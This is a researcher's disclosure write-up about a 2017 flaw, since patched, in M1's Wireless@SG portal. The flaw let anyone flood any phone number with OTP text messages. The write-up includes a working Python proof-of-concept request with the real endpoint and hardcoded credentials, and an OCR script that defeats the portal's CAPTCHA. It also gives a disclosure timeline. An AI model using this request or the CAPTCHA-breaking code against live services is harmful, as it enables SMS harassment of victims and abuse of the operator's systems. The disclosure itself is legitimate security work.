Wireless@SG is a nation-wide free WiFi service in Singapore. To get Internet access from a Wireless@SG hotspot, a user has to register their phone number, and verify that they own that number by entering a single-use PIN, also known as a one-time password (OTP), sent to said phone number via SMS. Unfortunately, a security vulnerability (which has since been patched) could have allowed an attacker to use this so-called security feature to flood any phone number with SMSes, en masse.
This was serious — just imagine a large number of mobile phone users in Singapore getting spammed with a constant stream of SMS messages sent by the vulnerable operator of Wireless@SG.
This vulnerability worked despite the fact that the sign-up page contains a CAPTCHA. CAPTCHAs are images which display text in a way that is possible for a human to read, but difficult for a bot to recognise. The CAPTCHA on the vulnerable operator’s Wireless@SG sign-up form, however, was not only extremely easy to automatically decode, but played absolutely no part in stopping an attacker from sending CAPTCHA SMS messages. As such, the CAPTCHA was security theatre — in other words, it was there just for show, and what it should have protected was entirely exposed to attack.
This article describes how the SMS attack worked and how we could easily break the CAPTCHA. It also explains how we discovered these vulnerabilities, and what was done to fix them. As of the time of writing, the vulnerability has been fixed, but screenshots will illustrate the process.
How the SMS Attack Works
All one had to do to send an unsolicited SMS message to any phone number in Singapore was to make a HTTP POST request to “https://portal.ssg.m1net.com.sg/loginOTP/SGP” with the following form data:
"strAuth_Id": "essa_m1net_id",
"strAuth_pwd": "6f9116ced8d3c22d166db828ad10af8f",
"strwssg_Uid": "SGP" + 9XXXXXXX
This simple Python 3 script demonstrates that it is easy to exploit the vulnerability:
import requests
PHONE_NUMBER = "9XXXXXXX"
payload = {
"strAuth_Id": "essa_m1net_id",
"strAuth_pwd": "6f9116ced8d3c22d166db828ad10af8f",
"strwssg_Uid": "SGP" + PHONE_NUMBER
}
r = requests.post("https://portal.ssg.m1net.com.sg/loginOTP/SGP" + PHONE_NUMBER, data=payload)
If you run this script, the phone with the number in the PHONE_NUMBER variable will receive an SMS message like this:
Your OTP is 581755 for your M1 Wireless@SG account.
With a script like this, an attacker could send the message to any phone number in any other country — they would just have to replace SGP with the appropriate country code. A list of these country codes can be found in the source code of “https://portal.ssg.m1net.com.sg/”. For example:
<option selected="" value="SGP+65">Singapore</option>
...
<option value="UARAB+971">United Arab Emirates</option>
<option value="UK+44">United Kingdom</option>
<option value="USA+1">United States</option>
How to Bypass the CAPTCHA
Although the CAPTCHA did nothing to stop the SMS attack, there were two ways to bypass it anyway.
The first method is extremely simple: the solution to the CAPTCHA was generated by the client and stored in the page DOM.
When the vulnerability was still present, all one had to do to see it in action was to navigate to “https://portal.ssg.m1net.com.sg/” with Google Chrome or Mozilla Firefox, inspect the DOM using the DOM inspector (Control-Shift-C), and find the solution to the CAPTCHA in a hidden <input> tag:
The second method to break the CAPTCHA was only slightly more difficult. The sign-up page generated the CAPTCHA image using JavaScript and placed it atop a background image of greyscale static (https://portal.ssg.m1net.com.sg/images/captcha.jpg).
The Resulting CAPTCHA
To decode the CAPTCHA, you can use the Google Tesseract OCR library. Run this Python script with the CAPTCHA image data URI from the <img> tag in the page DOM:
import pytesseract
import base64
import io
import re
from PIL import Image
# For *nix systems:
pytesseract.pytesseract.tesseract_cmd = "/usr/bin/tesseract"
captcha = "data:image/png;base64,iVBORw0 (continued...)"
binary_data = base64.b64decode(re.sub('^data:image/png;base64,', '', captcha))
image = Image.open(io.BytesIO(binary_data))
# Convert transparent pixels to white
# Credit: https://stackoverflow.com/a/9459208
captcha = Image.new("RGB", image.size, (255, 255, 255))
captcha.paste(image, mask=image.split()[3])
print(pytesseract.image_to_string(captcha))
captcha.show()
This script will print the digits in the CAPTCHA, and open a small window and display the image encoded in the CAPTCHA variable so you can see that the OCR has successfully decoded it. Note that the greyscale static background was not part of the CAPTCHA image and plays no role in thwarting OCR software — it simply created the impression that the captcha was indeed a CAPTCHA.
How I Discovered the Attack
I noticed something amiss when I signed into a Wireless@SG hotspot. I was redirected to this webpage: “https://portal.ssg.m1net.com.sg“. The CAPTCHA on the page looked a little strange as it wasn’t warped and did not have lines or artefacts usually used to thwart OCR software. Every time I refreshed the page, only the digits would change, but the background would not. After further investigation, I found that the page simply superimposes a generated image containing random numbers atop a fixed background hosted at “https://portal.ssg.m1net.com.sg/images/captcha.jpg“.
Intrigued, I opened developer tools in Chrome and inspected the CAPTCHA element. To my surprise, the value of the CAPTCHA was in the page DOM as the value attribute of a hidden <input> element. Moreover, I found the Javascript code that generates the captcha within the browser:
This meant that the value of the CAPTCHA could be simply extracted from the page, defeating the purpose of having it in the first place.
I realised that an attacker could send an OTP SMS to a victim without having to break the CAPTCHA. Even if the value of the CAPTCHA is not stored in the DOM, the CAPTCHA can be easily broken anyway. As such, I sent an email to M1 (the Wireless@SG operator involved) and Cyber Security Agency of Singapore (CSA) to report this vulnerability.
I decided to investigate further. I filled up the form with my own phone number, clicked on the Confirm button, and inspected the POST request. I found that the page sent an HTTP request to “https://portal.ssg.m1net.com.sg/loginOTP/SGP9XXXXXX” (where 9XXXXXX is my phone number) with form data as seen in the image below. I noticed that strAuth_pwd was a seemingly random string, so I looked further to find out how it was generated.
To my surprise, the value of strAuth_pwd — ostensibly an authentication password — was hardcoded into the page’s JavaScript file. In other words, something meant to be secret, was unfortunately made public.
I sent another email to M1 and the CSA to update them about my new findings.
Disclosure Timeline
25 July 2017 6.33pm: Informed M1 and the CSA about the insecure CAPTCHA.
25 July 2017 8.00pm: Informed M1 and the CSA about the insecure OTP system.
26 July 2017 11.52pm: By this time, I had not received a reply, so I sent a follow-up email to ask for updates.
28 July 2017 2.15pm: M1 replied, stating that they were in the process of fixing the issue.
28 July 2017 11.59am: I asked M1 how long they would take.
29 July 2017 12.11pm: They replied that they would take 2-3 working days to fix the issue.
3 August 2017, 1.15pm: I checked the vulnerability again and found that it had been patched.
Conclusion
This security vulnerability stemmed from four related problems:
The server that sends the SMS OTP messages does not check if the CAPTCHA is successfully completed.
The value of the CAPTCHA is generated client-side.
The CAPTCHA is carelessly implemented and easy to break.
The CAPTCHA is not even a real CAPTCHA, but something that only creates the impression that it actually is a CAPTCHA.
To fix this issue, all four problems had to be addressed. It was not enough to simply fix (1) and (2) if the CAPTCHA can be easily broken by easily available OCR software, and to only fix (2) and (3) would not prevent (1) from being exploited. Finally, the fact that problem (4) existed perhaps indicates a much more fundamental problem that should be addressed: that those responsible for building this system did not test the implementation of the mechanism thoroughly.
As the mechanism to send OTP SMS messages was virtually unauthenticated, a determined attacker could have easily sent multiple SMS messages to any phone in the world and possibly overwhelmed the mechanism with which M1 sent these messages. To make matters worse, the sign-up form contained a CAPTCHA but it was built in such a way that defeated the very purpose for which it was created.
Fortunately, the vulnerability was fixed after I reported it to M1, albeit after one week. Nevertheless, this highlights the importance of careful and thorough security reviews of public-facing systems. Even if systems appear to have security features to prevent exploits, said features can not only be ineffectual, but entirely useless. Ultimately, there are no shortcuts to cybersecurity.
Author
Koh Wei Jie (@catallacticised) is a full-stack smart contract developer based in Singapore.
Comments